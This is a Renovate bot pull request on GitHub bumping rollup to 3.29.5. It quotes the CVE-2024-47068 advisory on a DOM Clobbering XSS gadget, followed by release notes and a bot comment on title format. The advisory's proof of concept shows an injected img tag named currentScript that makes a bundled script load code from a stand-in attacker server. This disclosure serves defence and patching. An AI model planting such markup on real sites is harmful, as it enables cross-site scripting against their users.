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chore(deps): update dependency rollup to v3.29.5 [security] #6623

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@renovate renovate bot commented Oct 4, 2024

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
rollup (source) 3.20.2 -> 3.29.5 age adoption passing confidence

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Some dependencies could not be looked up. Check the Dependency Dashboard for more information.

GitHub Vulnerability Alerts

CVE-2024-47068

Summary

We discovered a DOM Clobbering vulnerability in rollup when bundling scripts that use import.meta.url or with plugins that emit and reference asset files from code in cjs/umd/iife format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

It's worth noting that we’ve identifed similar issues in other popular bundlers like Webpack (CVE-2024-43788), which might serve as a good reference.

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadget found in rollup

We have identified a DOM Clobbering vulnerability in rollup bundled scripts, particularly when the scripts uses import.meta and set output in format of cjs/umd/iife. In such cases, rollup replaces meta property with the URL retrieved from document.currentScript.

https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L157-L162

https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L180-L185

However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element (e.g., an img tag ) is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.

PoC

Considering a website that contains the following main.js script, the devloper decides to use the rollup to bundle up the program: rollup main.js --format cjs --file bundle.js.

var s = document.createElement('script')
s.src = import.meta.url + 'extra.js'
document.head.append(s)

The output bundle.js is shown in the following code snippet.

'use strict';

var _documentCurrentScript = typeof document !== 'undefined' ? document.currentScript : null;
var s = document.createElement('script');
s.src = (typeof document === 'undefined' ? require('u' + 'rl').pathToFileURL(__filename).href : (_documentCurrentScript && False && _documentCurrentScript.src || new URL('bundle.js', document.baseURI).href)) + 'extra.js';
document.head.append(s);

Adding the rollup bundled script, bundle.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server due to the introduced gadget during bundling. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>rollup Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="bundle.js"></script>
<body>
</body>
</html>

Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that include rollup-bundled files (configured with an output format of cjs, iife, or umd and use import.meta) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.

Patch

Patching the following two functions with type checking would be effective mitigations against DOM Clobbering attack.

const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
	getResolveUrl(
		`'${escapeId(relativePath)}', ${
			umd ? `typeof document === 'undefined' ? location.href : ` : ''
		}document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`
	);
const getUrlFromDocument = (chunkId: string, umd = false) =>
	`${
		umd ? `typeof document === 'undefined' ? location.href : ` : ''
	}(${DOCUMENT_CURRENT_SCRIPT} && ${DOCUMENT_CURRENT_SCRIPT}.tagName.toUpperCase() === 'SCRIPT' &&${DOCUMENT_CURRENT_SCRIPT}.src || new URL('${escapeId(
		chunkId
	)}', document.baseURI).href)`;

Release Notes

rollup/rollup (rollup)

v3.29.5

Compare Source

v3.29.4

Compare Source

2023-09-28

Bug Fixes
  • Fix static analysis when an exported function uses callbacks (#​5158)
Pull Requests

v3.29.3

Compare Source

2023-09-24

Bug Fixes
  • Fix a bug where code was wrongly tree-shaken after mutating function parameters (#​5153)
Pull Requests

v3.29.2

Compare Source

2023-09-15

Bug Fixes
  • Export TreeshakingPreset type (#​5131)
Pull Requests

v3.29.1

Compare Source

2023-09-10

Bug Fixes
  • Fix time measurement of plugin hooks in watch mode (#​5114)
  • Ensure accessing document.currentScript in import.meta.url returns correct results (#​5118)
Pull Requests

v3.29.0

Compare Source

2023-09-06

Features
  • Add output.sourcemapFileNames option (#​5105)
  • Add generic type parameter for api to Plugin type (#​5112)
Bug Fixes
  • Ensure mutations of CustomEvent details are tracked (#​5123)
Pull Requests

v3.28.1

Compare Source

2023-08-22

Bug Fixes
  • Ensure external files with relative import paths outside the target are rendered correctly (#​5099)
Pull Requests

v3.28.0

Compare Source

2023-08-09

Features
  • Add a new property preliminaryFileName to generated chunks containing the file name placeholder (#​5086)
  • Improve performance of sourcemap generation by lazily decoding mappings (#​5087)
Bug Fixes
  • Make the code property of rendered modules in the output readonly (#​5091)
Pull Requests

v3.27.2

Compare Source

2023-08-04

Bug Fixes
  • Revert sourcemap performance improvement for now as it causes issues with Vite (#​5075)
Pull Requests

v3.27.1

Compare Source

2023-08-03

Bug Fixes
  • Improve performance when generating sourcemaps (#​5075)
Pull Requests

v3.27.0

Compare Source

2023-07-28

Features
  • Mark Object.values and Object.entries as pure if their argument does not contain getters (#​5072)
Pull Requests

v3.26.3

Compare Source

2023-07-17

Bug Fixes
  • Do not pass external modules to manualChunks to avoid breaking existing configs (#​5068)
Pull Requests

v3.26.2

Compare Source

2023-07-06

Bug Fixes
  • Improve error handling when manual chunks would contain external modules (#​5050)
Pull Requests
  • #​5050: fix: improve error for manualChunks' modules that are resolved as an external module (@​TrickyPi)

v3.26.1

Compare Source

2023-07-05

Bug Fixes
  • Support hasOwnProperty as exported name in CommonJS (#​5010)
  • Properly reference browser types in package file (#​5051)
Pull Requests

v3.26.0

Compare Source

2023-06-30

Features
  • Add --filterLogs CLI flag and ROLLUP_FILTER_LOGS environment variable for log filtering (#​5035)
Pull Requests

v3.25.3

Compare Source

2023-06-26

Bug Fixes
  • Fix error when inlining dynamic imports that contain unused reexported variables (#​5047)
Pull Requests

v3.25.2

Compare Source

2023-06-24

Bug Fixes
  • Handle plugin errors where code is not a string (#​5042)
  • Use current transformed source when generating code frames with positions in transform hooks (#​5045)
Pull Requests

v3.25.1

Compare Source

2023-06-12

Bug Fixes
  • Respect __NO_SIDE_EFFECTS__ for async functions (#​5031)
Pull Requests

v3.25.0

Compare Source

2023-06-11

Features
  • Add this.info and this.debug plugin context logging functions (#​5026)
  • Add onLog option to read, map and filter logs (#​5026)
  • Add logLevel option to fully suppress logs by level (#​5026)
  • Support function logs in this.warn, this.info and this.debug to avoid heavy computations based on log level (#​5026)
  • Add onLog plugin hook to read, filter and map logs from plugins (#​5026)
Pull Requests

v3.24.1

Compare Source

2023-06-10

Bug Fixes
  • Fix an issue where bundles with @rollup/plugin-commonjs were missing internal dependencies when code-splitting (#​5029)
  • Do not use process.exit(0) in watch mode to avoid issues in embedded scenarios (#​5027)
Pull Requests

v3.24.0

Compare Source

2023-06-07

Features
  • Add new annotation /* #__NO_SIDE_EFFECTS__ */ to mark function declarations as side effect free (#​5024)
Pull Requests
  • #​5024: feat: support #__NO_SIDE_EFFECTS__ annotation for function declaration (@​antfu)

v3.23.1

Compare Source

2023-06-04

Bug Fixes
  • Ensure the last segment of sourcemapBaseUrl is never omitted (#​5022)
Pull Requests

v3.23.0

Compare Source

2023-05-22

Features
  • Support emitting "prebuilt chunks" from plugins (#​4990)
Bug Fixes
  • Mark Sets and Maps as pure when they receive an array literal as argument (#​5005)
Pull Requests

v3.22.1

Compare Source

2023-05-21

Bug Fixes
  • Remove force quit again as it caused some issues (#​5004)
Pull Requests

v3.22.0

Compare Source

2023-05-17

Features
  • Prevent empty non-facade chunks by merging them into other suitable chunks (#​4989)
  • Avoid facade chunks in some situations involving reexports (#​4989)
  • Improve algorithm for best merge target when using experimentalMinChunkSize to take tree-shaking into account (#​4989)
Bug Fixes
  • Take side effects of external dependencies into account when merging chunks for experimentalMinChunkSize (#​4989)
Pull Requests

v3.21.8

Compare Source

2023-05-16

Bug Fixes
  • Allow a namespace to properly contain itself as a named export (#​4991)
Pull Requests

v3.21.7

Compare Source

2023-05-13

Bug Fixes
  • Show correct error on uncaught exceptions in watch mode (#​4987)
Pull Requests

v3.21.6

Compare Source

2023-05-09

Bug Fixes
  • Ensure Rollup CLI prints everything to stdout before exiting (#​4980)
Pull Requests

v3.21.5

Compare Source

2023-05-05

Bug Fixes
  • Keep all consecutive lines at the top of each module that start with a comment (#​4975)
  • Ensure that declarations inside switch cases do not use the same scope as the discriminator (#​4979)
Pull Requests

v3.21.4

Compare Source

2023-05-03

Bug Fixes
  • Resolve crash when shimming a missing export in an otherwise non-included module when preserving modules (#​4971)
Pull Requests

v3.21.3

Compare Source

2023-05-02

Bug Fixes
  • Run process.exit() when Rollup CLI finishes successfully to solve issues on some systems (#​4969)
Pull Requests

v3.21.2

Compare Source

2023-04-30

Bug Fixes
  • Mark global functions that trigger iterators as impure for now (#​4955)
Pull Requests

v3.21.1

Compare Source

2023-04-29

Bug Fixes
  • Make sure call arguments are properly deoptimized when a function uses the arguments variable (#​4965)
Pull Requests

v3.21.0

Compare Source

2023-04-23

Features
  • Support tree-shaking of named exports in dynamic imports when using destructuring and similar patterns (#​4952)
Pull Requests

v3.20.7

Compare Source

2023-04-21

Bug Fixes
  • Properly track array element mutations when iterating with a for-of loop (#​4949)
  • Handle default exporting an anonymous class that extends another class (#​4950)
Pull Requests

v3.20.6

Compare Source

2023-04-18

Bug Fixes
  • Revert handling of non-JS import and export names due to regressions (#​4914)
Pull Requests

v3.20.5

Compare Source

2023-04-18

Bug Fixes
  • Handle import and export names that are not valid JavaScript identifiers (#​4939)
Pull Requests

v3.20.4

Compare Source

2023-04-17

Bug Fixes
  • Do not remove breaks statements after switch statements with conditional breaks (#​4937)
Pull Requests

v3.20.3

Compare Source

2023-04-16

Bug Fixes
  • Reduce memory consumption for function call parameter analysis (#​4938)
  • Fix types for shouldTransformCachedModule (#​4932)
Pull Requests

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github-actions bot commented Oct 4, 2024

Hey there and thank you for opening this pull request! 👋

We require pull request titles to follow the Conventional Commits specification and it looks like your proposed title needs to be adjusted.

Your PR title is: chore(deps): update dependency rollup to v3.29.5 [security]
It should be something like: feat(scope): Add fancy new feature

Details:

Unknown scope "deps" found in pull request title "chore(deps): update dependency rollup to v3.29.5 [security]". Scope must match one of: root, api, dashboard, inbound-mail, web, webhook, widget, worker, ws, ee-auth, ee-billing, ee-dal, ee-shared-services, ee-translation, application-generic, automation, dal, design-system, embed, novui, testing, client, framework, headless, js, nest, nextjs, node, notification-center, novu, providers, react, react-native, shared, stateless, nestjs, nextjs.

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